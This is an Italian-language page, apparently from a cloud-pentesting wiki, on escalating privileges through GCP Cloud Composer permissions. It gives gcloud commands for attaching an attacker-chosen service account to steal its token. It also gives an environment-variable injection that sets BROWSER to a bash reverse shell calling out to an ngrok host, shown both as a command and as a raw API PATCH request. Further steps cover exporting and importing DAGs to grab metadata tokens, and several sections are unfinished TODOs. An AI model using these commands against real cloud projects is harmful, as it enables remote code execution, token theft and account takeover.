composer
Maggiori informazioni in:
GCP - Composer Enum composer.environments.create
È possibile allegare qualsiasi service account al nuovo ambiente composer creato con quel permesso. Successivamente, potresti eseguire codice all'interno di composer per rubare il token del service account.
Copy gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account= "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
Maggiori informazioni sull'exploitazione qui .
composer.environments.update
È possibile aggiornare l'ambiente composer, ad esempio, modificando le variabili d'ambiente:
Copy # Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
projects/<project-id>/locations/<location>/environments/<composer-env-name> \
--update-env-variables="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/19990 0>&1' & #%s" \
--location < locatio n > \
--project < project-i d >
# Call the API endpoint directly
PATCH /v1/projects/<project-id>/locations/<location>/environments/<composer-env-name>?alt=json&updateMask=config.software_config.env_variables HTTP/2
Host: composer.googleapis.com
User-Agent: google-cloud-sdk gcloud/480.0.0 command/gcloud.composer.environments.update invocation-id/826970373cd441a8801d6a977deba693 environment/None environment-version/None client-os/MACOSX client-os-ver/23.4.0 client-pltf-arch/arm interactive/True from-script/False python/3.12.3 term/xterm-256color (Macintosh; Intel Mac OS X 23.4.0)
Accept-Encoding: gzip, deflate, br
Accept: application/json
Content-Length: 178
Content-Type: application/json
X-Goog-Api-Client: cred-type/sa
Authorization: Bearer [token]
X-Allowed-Locations: 0x0
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
TODO: Ottenere RCE aggiungendo nuovi pacchetti pypi all'ambiente
Scaricare Dags
Controllare il codice sorgente dei dags in esecuzione:
Copy mkdir /tmp/dags
gcloud composer environments storage dags export --environment < environmen t > --location < lo c > --destination /tmp/dags
Importa Dags
Importa il codice Dags per compromettere l'ambiente e poter rubare il token dal metadata endpoint:
Copy # TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/asd
Import Plugins
TODO: Verificare cosa è possibile compromettere caricando plugin
Import Data
TODO: Verificare cosa è possibile compromettere caricando dati